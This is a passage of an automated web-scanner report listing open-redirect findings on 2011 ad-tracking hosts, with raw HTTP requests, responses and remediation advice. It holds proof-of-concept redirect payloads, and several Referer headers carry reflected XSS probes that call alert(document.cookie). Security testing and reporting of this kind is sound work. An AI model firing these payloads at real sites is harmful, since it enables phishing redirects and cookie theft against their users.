Referer: http://ad.media6degrees.com/adserv/cs?tId=4601030440985026|cb=1305033249|adType=iframe|cId=5902|ec=1|spId=30811|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd171.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid2=470fb0bcf-3fea-4322-beeb-57f5828c5936-gmr873a3; dly2=3-lkkjy3-P~hoc~0~1uo0~1-; dmg2=2-null7566%4050%4057+53%3A01%3A72%3ANZ+%7Cnulll%7CHHF%7CX357%7CIIG%7CQ599.055%7CS50127%7C1fbsgynlre.pbz%7CJ078%7CWfbsgynlre+grpuabybtvrf+vap.%7CLfgbjr%7CR%40527.191%7Cnull%40955%7CDoebnqonaq%7CZ%3F%7C-; hst2=3-lkkjy3-1~70y9vrnt7vq8~146z~2ihm~0-; pct=1-oevyvt~gn7ey36j-vOrunivbe~gn7ey36i-yhpvq~gn7ey36j-; T_hlp9=ahc%3Ay6iu%3A1; rth=2-ljzkpb-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Date: Tue, 10 May 2011 13:29:37 GMT
Location: http://a156e68de62c4331/a?
Connection: close
Set-Cookie: T_hlp9=""; Domain=trafficmp.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: T_gjdu=igh%3Azu42%3A1; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:29:37 GMT; Path=/
Set-Cookie: rth=2-ljzkpb-igh~zu42~1~1-ahc~y6iu~1~1-gj9~x0sc~1~1-g9g~lg1x~1~1-g9c~ld22~1~1-gyx~kz8s~1~1-jxb~e876~1~1-eo7~861h~1~1-dlx~6ot5~1~1-7p9~0~1~1-; Domain=trafficmp.com; Expires=Wed, 09-May-2012 13:29:37 GMT; Path=/
Content-Length: 0

11.2. http://b.scorecardresearch.com/r [d.c parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/r

Issue detail

The value of the d.c request parameter is used to perform an HTTP redirect. The payload http%3a//a54b5dd3aa086b751/a%3fgif was submitted in the d.c parameter. This caused a redirection to the following URL:

http://a54b5dd3aa086b751/a?gif

Request

GET /r?c2=3005617&d.c=http%3a//a54b5dd3aa086b751/a%3fgif&d.o=wpniwashpostcom&d.x=149306756&d.t=page&d.u=http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.html HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://a54b5dd3aa086b751/a?gif
Date: Tue, 10 May 2011 13:14:02 GMT
Connection: close
Set-Cookie: UID=25894b9d-24.143.206.177-1303083414; expires=Thu, 09-May-2013 13:14:02 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

11.3. http://bh.contextweb.com/bh/rtset [rurl parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://bh.contextweb.com
Path:	/bh/rtset

Issue detail

The value of the rurl request parameter is used to perform an HTTP redirect. The payload http%3a//a571257c42c93c492/a%3fhttp%3a//d.chango.com/m/s/contextweb was submitted in the rurl parameter. This caused a redirection to the following URL:

http://a571257c42c93c492/a?http://d.chango.com/m/s/contextweb

Request

GET /bh/rtset?do=add&ev=d1f7cae6-759b-11e0-b4f3-00259031f86c&pid=535495&rurl=http%3a//a571257c42c93c492/a%3fhttp%3a//d.chango.com/m/s/contextweb&x=2011-06-24 HTTP/1.1
Host: bh.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; V=RiC6i2pCL3Ub; FC1-WC=^55430_1_2TBon; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0|531292.AA-00000001931708427.0; cw=cw; vf=1

Response

HTTP/1.1 302 Moved Temporarily
Server: Sun GlassFish Enterprise Server v2.1.1
CW-Server: cw-web80
Cache-Control: no-cache, no-store
Set-Cookie: V=RiC6i2pCL3Ub; Domain=.contextweb.com; Expires=Fri, 04-May-2012 14:14:14 GMT; Path=/
Set-Cookie: pb_rtb_ev=1:535495.d1f7cae6-759b-11e0-b4f3-00259031f86c.0|535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0|531292.AA-00000001931708427.0; Domain=.contextweb.com; Expires=Wed, 09-May-2012 14:14:14 GMT; Path=/
Location: http://a571257c42c93c492/a?http://d.chango.com/m/s/contextweb
Content-Type: text/html; charset=iso-8859-1
Content-Length: 0
Date: Tue, 10 May 2011 14:14:13 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"

11.4. http://bs.serving-sys.com/BurstingPipe/adServer.bs [ru parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the ru request parameter is used to perform an HTTP redirect. The payload http%3a//a6aff6f1ceb3bba05/a%3fhttp%3a//ds.serving-sys.com/BurstingRes//Site-2452/Type-0/24d12fac-5341-44d8-b829-53b90882ec7e.jpg was submitted in the ru parameter. This caused a redirection to the following URL:

http://a6aff6f1ceb3bba05/a?http://ds.serving-sys.com/BurstingRes//Site-2452/Type-0/24d12fac-5341-44d8-b829-53b90882ec7e.jpg

Request

GET /BurstingPipe/adServer.bs?cn=cdi&ai=4878102&p=&pi=0&ru=http%3a//a6aff6f1ceb3bba05/a%3fhttp%3a//ds.serving-sys.com/BurstingRes//Site-2452/Type-0/24d12fac-5341-44d8-b829-53b90882ec7e.jpg&ord=5922910614765036 HTTP/1.1
Host: bs.serving-sys.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: C_5476=4877917; A3=iCYmaLtc0bnA00001; B3=94DX0000000001uz; u2=e1292900-528b-4d66-83e8-593dd8b9e2433I0040; C4=

Response

HTTP/1.1 302 Object moved
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 95
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Location: http://a6aff6f1ceb3bba05/a?http://ds.serving-sys.com/BurstingRes//Site-2452/Type-0/24d12fac-5341-44d8-b829-53b90882ec7e.jpg
Server: Microsoft-IIS/7.5
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 10 May 2011 14:23:43 GMT
Connection: close

HTTP://ds.serving-sys.com/BurstingRes/Site-2452/Type-0/24d12fac-5341-44d8-b829-53b90882ec7e.jpg

11.5. http://cmap.am.ace.advertising.com/amcm.ashx [admeld_callback parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cmap.am.ace.advertising.com
Path:	/amcm.ashx

Issue detail

The value of the admeld_callback request parameter is used to perform an HTTP redirect. The payload http%3a//abd88c46305ca902f/a%3fhttp%3a//tag.admeld.com/match was submitted in the admeld_callback parameter. This caused a redirection to the following URL:

http://abd88c46305ca902f/a?http://tag.admeld.com/match?admeld_adprovider_id=1&external_user_id=g8ssNfdsqfm9uFMnhkWf1lz_zQs&expiration=1307615733

Request

GET /amcm.ashx?admeld_adprovider_id=1&admeld_call_type=redirect&admeld_callback=http%3a//abd88c46305ca902f/a%3fhttp%3a//tag.admeld.com/match HTTP/1.1
Host: cmap.am.ace.advertising.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://uac.advertising.com/wrapper/aceUACping.htm
Cookie: ACID=gz150013044372470058; F1=B0bSJ3EBAAAABAAAAMAAgEA; BASE=23QqCCTy8s/uR9O!; ROLL=dtg1eliDxJrcjKM!

Response

HTTP/1.1 302 Found
Connection: close
Date: Tue, 10 May 2011 14:35:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV
Pragma: no-cache
Location: http://abd88c46305ca902f/a?http://tag.admeld.com/match?admeld_adprovider_id=1&external_user_id=g8ssNfdsqfm9uFMnhkWf1lz_zQs&expiration=1307615733
Cache-Control: private, max-age=0, no-cache, max-age=3600
Expires: Tue, 10 May 2011 14:35:33 GMT
Content-Length: 0

11.6. http://d.xp1.ru4.com/activity [redirect parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://d.xp1.ru4.com
Path:	/activity

Issue detail

The value of the redirect request parameter is used to perform an HTTP redirect. The payload .a1488ae4b8e3dc0c1/ was submitted in the redirect parameter. This caused a redirection to the following URL:

http://.a1488ae4b8e3dc0c1/?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=303&admeld_call_type=redirect&admeld_callback=http://tag.admeld.com/match

The application attempts to prevent redirection attacks by prepending an absolute prefix to the user-supplied URL. However, this prefix does not include a trailing slash, so an attacker can add an additional domain name to point to a domain which they control.

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Request

GET /activity?_o=62795&_t=cm_admeld&redirect=.a1488ae4b8e3dc0c1/&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=303&admeld_call_type=redirect&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: d.xp1.ru4.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X1ID=AM-00000000030620452; O1807966=16; P1807966=c3N2X2MyfFl8MTMwNDM2MDM2MHxzc3ZfYnxjMnwxMzA0MzYwMzYwfHNzdl8xfDI4NTQ0NTQ3M3wxMzA0MzYwMzYwfA==

Response

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Tue, 10 May 2011 13:25:09 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Pragma: no-cache
Set-cookie: O62795=0; domain=.ru4.com; path=/; expires=Mon, 01-Jan-1970 12:00:00 GMT
Location: http://.a1488ae4b8e3dc0c1/?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=303&admeld_call_type=redirect&admeld_callback=http://tag.admeld.com/match
Content-length: 0
Connection: close

11.7. http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83989/BurstingPipe/adServer.bs [REST URL parameter 2] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rfw/bs.serving-sys.com/9349/83989/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 2 is used to perform an HTTP redirect. The payload .a43a5dadaa6721adf/ was submitted in the REST URL parameter 2. This caused a redirection to the following URL:

http://.a43a5dadaa6721adf/83989/BurstingPipe/adServer.bs?cn=bsr&FlightID=2378235&Page=&PluID=0&Pos=5476

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Request

GET /rfw/.a43a5dadaa6721adf//9349/83989/BurstingPipe/adServer.bs?cn=bsr&FlightID=2378235&Page=&PluID=0&Pos=5476 HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://.a43a5dadaa6721adf/83989/BurstingPipe/adServer.bs?cn=bsr&FlightID=2378235&Page=&PluID=0&Pos=5476
Content-Length: 0
Date: Tue, 10 May 2011 14:23:12 GMT
Connection: close

11.8. http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 2] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 2 is used to perform an HTTP redirect. The payload .a31a27d51d4fda79c/ was submitted in the REST URL parameter 2. This caused a redirection to the following URL:

http://.a31a27d51d4fda79c/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Request

GET /rfw/.a31a27d51d4fda79c//9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$&adsafe_url=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%2527%253balert(document.cookie)%2F%2F4b169261d24%3D1&adsafe_type=abdfq&adsafe_url=http%3A%2F%2Fburp%2Fshow%2F27&adsafe_type=ce&adsafe_jsinfo=sl:na,em:false,v:3.6 HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: JSESSIONID=5F1560B494271E0BA946F0F2A270919A

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://.a31a27d51d4fda79c/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$
Content-Length: 0
Date: Tue, 10 May 2011 14:23:29 GMT
Connection: close

11.9. http://i.w55c.net/ping_match.gif [rurl parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://i.w55c.net
Path:	/ping_match.gif

Issue detail

The value of the rurl request parameter is used to perform an HTTP redirect. The payload http%3a//a5ef5741ce6c51153/a%3fhttp%3a//bh.contextweb.com/bh/rtset%3fdo%3dadd%26pid%3d535039%26ev%3d_wfivefivec_ was submitted in the rurl parameter. This caused a redirection to the following URL:

http://a5ef5741ce6c51153/a?http://bh.contextweb.com/bh/rtset?do=add&pid=535039&ev=5202f94d-e42f-420e-8fc6-233eeae015a9

Request

GET /ping_match.gif?rurl=http%3a//a5ef5741ce6c51153/a%3fhttp%3a//bh.contextweb.com/bh/rtset%3fdo%3dadd%26pid%3d535039%26ev%3d_wfivefivec_ HTTP/1.1
Host: i.w55c.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: wfivefivec=5202f94d-e42f-420e-8fc6-233eeae015a9

Response

HTTP/1.1 302 Found
Set-Cookie: wfivefivec=5202f94d-e42f-420e-8fc6-233eeae015a9;Path=/;Domain=.w55c.net;Expires=Thu, 09-May-13 14:11:41 GMT
Cache-Control: private
X-Version: DataXu Pixel Tracker v3
Location: http://a5ef5741ce6c51153/a?http://bh.contextweb.com/bh/rtset?do=add&pid=535039&ev=5202f94d-e42f-420e-8fc6-233eeae015a9
Server: Jetty(6.1.22)
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 0

11.10. http://sync.mathtag.com/sync/img [redir parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://sync.mathtag.com
Path:	/sync/img

Issue detail

The value of the redir request parameter is used to perform an HTTP redirect. The payload http%3a//afaa14bf9b1c4eab4/a%3fhttp%3a//ads.adbrite.com/adserver/vdi/684339%3fd%3d[VISITORDATA] was submitted in the redir parameter. This caused a redirection to the following URL:

http://afaa14bf9b1c4eab4/a?http://ads.adbrite.com/adserver/vdi/684339?d=uuid%3D4dab7d35-b1d2-915a-d3c0-9d57f9c66b07

Request

GET /sync/img?mt_exid=1&type=sync&redir=http%3a//afaa14bf9b1c4eab4/a%3fhttp%3a//ads.adbrite.com/adserver/vdi/684339%3fd%3d[VISITORDATA] HTTP/1.1
Host: sync.mathtag.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; mt_mop=4:1304957840; ts=1304957904

Response

HTTP/1.1 302 Found
Server: mt2/2.0.18.1573 Apr 18 2011 16:09:07 ewr-pixel-x3 pid 0x7850 30800
Cache-Control: no-cache
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Date: Tue, 10 May 2011 13:23:38 GMT
Location: http://afaa14bf9b1c4eab4/a?http://ads.adbrite.com/adserver/vdi/684339?d=uuid%3D4dab7d35-b1d2-915a-d3c0-9d57f9c66b07
Etag: 4dab7d35-b1d2-915a-d3c0-9d57f9c66b07
Connection: Keep-Alive
Set-Cookie: ts=1305033818; domain=.mathtag.com; path=/; expires=Wed, 09-May-2012 13:23:38 GMT
Content-Length: 0

11.11. http://tag.admeld.com/id [redirect parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/id

Issue detail

The value of the redirect request parameter is used to perform an HTTP redirect. The payload http%3a//a6539fb32c4409744/a%3fhttp%3a//cas.criteo.com/delivery/admeld_map%3fmatch%3d[admeld_user_id] was submitted in the redirect parameter. This caused a redirection to the following URL:

http://a6539fb32c4409744/a?http://cas.criteo.com/delivery/admeld_map?match=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9

Request

GET /id?redirect=http%3a//a6539fb32c4409744/a%3fhttp%3a//cas.criteo.com/delivery/admeld_map%3fmatch%3d[admeld_user_id] HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Location: http://a6539fb32c4409744/a?http://cas.criteo.com/delivery/admeld_map?match=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9
Content-Length: 295
Content-Type: text/html; charset=iso-8859-1
Date: Tue, 10 May 2011 13:22:30 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://a6539fb32c4409744/a?http://cas.criteo.co
...[SNIP]...

11.12. http://tags.bluekai.com/site/3561 [redir parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/site/3561

Issue detail

The value of the redir request parameter is used to perform an HTTP redirect. The payload http%3a//ab04204244311ea96/a%3fhttp%3a//tag.admeld.com/pixel%3fadmeld_dataprovider_id%3d21%26external_user_id%3d$BK_UUID%26_m%3d1 was submitted in the redir parameter. This caused a redirection to the following URL:

http://ab04204244311ea96/a?http://tag.admeld.com/pixel?admeld_dataprovider_id=21&external_user_id=Nw9gvmxO99Of83hB&_m=1

Request

GET /site/3561?id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&redir=http%3a//ab04204244311ea96/a%3fhttp%3a//tag.admeld.com/pixel%3fadmeld_dataprovider_id%3d21%26external_user_id%3d$BK_UUID%26_m%3d1&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_dataprovider_id=21&admeld_callback=http://tag.admeld.com/pixel HTTP/1.1
Host: tags.bluekai.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/160x600/default_criteo?t=1305033247523&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bkp1=; bku=exy99JnggW62duLG; bkou=KJhMRsOQRsq/pupQjp96B2Rp+eEV1p/66E101DfI4ByU9WiUOgD=; bkst=KJh5Dn+v96WD7uvQZ1x/kAvyLcHC775Zy1/RRNx1/DjEvokk+QAAH5iLVwLayPIyWzPs6W/DhP5oTp5Rt9QV++bLEUY3ylkypo61rjAiInRZUtLjzG5TQLE5EgKU5JKEHbErAPGQ/4B1DmRe6VjH/1mte3pHB/C9Qa1HGhbQ7wG4dFpYzyUuO2GTaXM/3XOHOGcNpC+F39x3CCd7bcXqgNuaVbuIAJGkxk190TUDiiZCxYifkf+srj95u00kiPGtEDCZej49BjzvBmBQkkw8veLbzVqhY4WhT7kisTtezvKrT7VI65RgcEZGB77ExCpP3dlZSFZ7K/7KWdEmAUvo63pDVQNSijw+03qrhdFQuGBIrBqgo/w0rPcf3aDRG1h0gQtrRsqTKRj01D2/MiHNf8nuG5y5+9qC2yF0fd7HWQtQ7Jvv1Gf4uvZpDzM9mmkLsWaG7bXr6cLbdKdZU2oJqNL=; bko=KJ0naVHQtYBXyoKH/DT/hgGOa8FWhLeyudrGnydecPTsCovSQf81ev3XWaktOkAIOGRq3ydTvMa/xkZYesa9FEqXITObqR9LDpenZh4YRZJ/CnvRsS39mATrtxsDBVj7RBQcjQW9KkLCUQ==; bkw5=; bklc=4dc93a13; bk=slSmq1V5c/sVIHOf; bkc=KJhnjsHQZB4ByYOL55/U0sH/OO/hn9iIsCeqNE/y2Oi5XsPZR9UpyfCxISaG4JOIswXUcyBefWNsCA3PWff0ewjQ4QxScbx4ZxdueIBp9rDmE/4yxKTOXPmSD4ZmeSCXW9lM9yexkuiD; bkdc=res

Response

HTTP/1.0 302 Moved Temporarily
Date: Tue, 10 May 2011 13:45:39 GMT
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Expires: Wed, 11 May 2011 13:45:39 GMT
Cache-Control: max-age=86400, private
Location: http://ab04204244311ea96/a?http://tag.admeld.com/pixel?admeld_dataprovider_id=21&external_user_id=Nw9gvmxO99Of83hB&_m=1
Set-Cookie: bk=IzmXmLV5c/sVIHOf; expires=Sun, 06-Nov-2011 13:45:39 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJhf0zF9Wn3DAScjXSxF/y1ey6LQ4tzU9yGdCQUOEyxuXfGjs/u+Wc0xw/0FOLHt+xy1wDR74JAjV1cX1Y8D4iQScbx4hFdahX9xK8mHGPnkCvXXQptRcTcsOIkc8Gw6ydizxnAe60aXAc+9dJHZPn8M90G4H1wT9vrW1bD=; expires=Sun, 06-Nov-2011 13:45:39 GMT; path=/; domain=.bluekai.com
